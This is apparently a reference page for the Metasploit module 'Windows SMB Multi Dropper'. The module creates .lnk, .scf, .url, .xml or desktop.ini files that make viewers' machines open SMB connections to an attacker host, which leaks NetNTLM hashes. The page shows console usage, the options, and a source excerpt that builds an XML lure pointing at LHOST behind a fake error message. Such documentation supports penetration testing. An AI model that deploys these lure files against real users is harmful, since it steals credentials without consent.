Windows SMB Multi Dropper - Metasploit


This page contains detailed information about how to use the auxiliary/fileformat/multidrop metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Windows SMB Multi Dropper
Module: auxiliary/fileformat/multidrop
Source code: modules/auxiliary/fileformat/multidrop.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module dependent on the given filename extension creates either a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference to the the specified remote host, causing SMB connections to be initiated from any user that views the file.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/fileformat/multidrop
msf auxiliary(multidrop) > show targets
    ... a list of targets ...
msf auxiliary(multidrop) > set TARGET target-id
msf auxiliary(multidrop) > show options
    ... show and set options ...
msf auxiliary(multidrop) > exploit

Required Options

  • LHOST: Host listening for incoming SMB/WebDAV traffic

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Msfconsole Usage

Here is how the fileformat/multidrop auxiliary module looks in the msfconsole:

msf6 > use auxiliary/fileformat/multidrop

msf6 auxiliary(fileformat/multidrop) > show info

       Name: Windows SMB Multi Dropper
     Module: auxiliary/fileformat/multidrop
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Richard Davy - secureyourit.co.uk
  Lnk Creation Code by Mubix
  asoto-r7

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  word.lnk         yes       Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini
  LHOST                      yes       Host listening for incoming SMB/WebDAV traffic

Description:
  This module dependent on the given filename extension creates either 
  a .lnk, .scf, .url, .xml, or desktop.ini file which includes a 
  reference to the the specified remote host, causing SMB connections 
  to be initiated from any user that views the file.

References:
  https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018
  https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/
  https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/

Module Options

This is a complete list of options available in the fileformat/multidrop auxiliary module:

msf6 auxiliary(fileformat/multidrop) > show options

Module options (auxiliary/fileformat/multidrop):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  word.lnk         yes       Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini
   LHOST                      yes       Host listening for incoming SMB/WebDAV traffic

Advanced Options

Here is a complete list of advanced options supported by the fileformat/multidrop auxiliary module:

msf6 auxiliary(fileformat/multidrop) > show advanced

Module advanced options (auxiliary/fileformat/multidrop):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   DisablePayloadHandler  true             no        Disable the handler code for the selected payload
   VERBOSE                false            no        Enable detailed status messages
   WORKSPACE                               no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the fileformat/multidrop module can do:

msf6 auxiliary(fileformat/multidrop) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the fileformat/multidrop auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(fileformat/multidrop) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid FILENAME option

Here is a relevant code snippet related to the "Invalid FILENAME option" error message:

49:	    elsif datastore['FILENAME'].chars.last(3).join=="url"
50:	        create_url
51:	    elsif datastore['FILENAME'].chars.last(3).join=="xml"
52:	        create_xml
53:	    else
54:	        fail_with(Failure::BadConfig,"Invalid FILENAME option")
55:	    end
56:	  end
57:	
58:	  def createlnk
59:	    #Code below taken from module droplnk.rb written by Mubix

FATAL ERROR: The document failed to render properly.

Here is a relevant code snippet related to the "FATAL ERROR: The document failed to render properly." error message:

146:	    xml=""
147:	    xml << "<?xml version='1.0' encoding='utf-8' ?>"
148:	    xml << "<?mso-application progid='Word.Document'?>"
149:	    xml << "<?xml-stylesheet type='text/xsl' href='file://#{datastore['LHOST']}/share/word.xsl'?>"
150:	    xml << "<Text>"
151:	    xml << " FATAL ERROR: The document failed to render properly."
152:	    xml << "</Text>"
153:	
154:	    file_create(xml)
155:	  end
156:

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References

See Also

Check also the following modules related to this module:

Authors

  • Richard Davy - secureyourit.co.uk
  • Lnk Creation Code by Mubix
  • asoto-r7

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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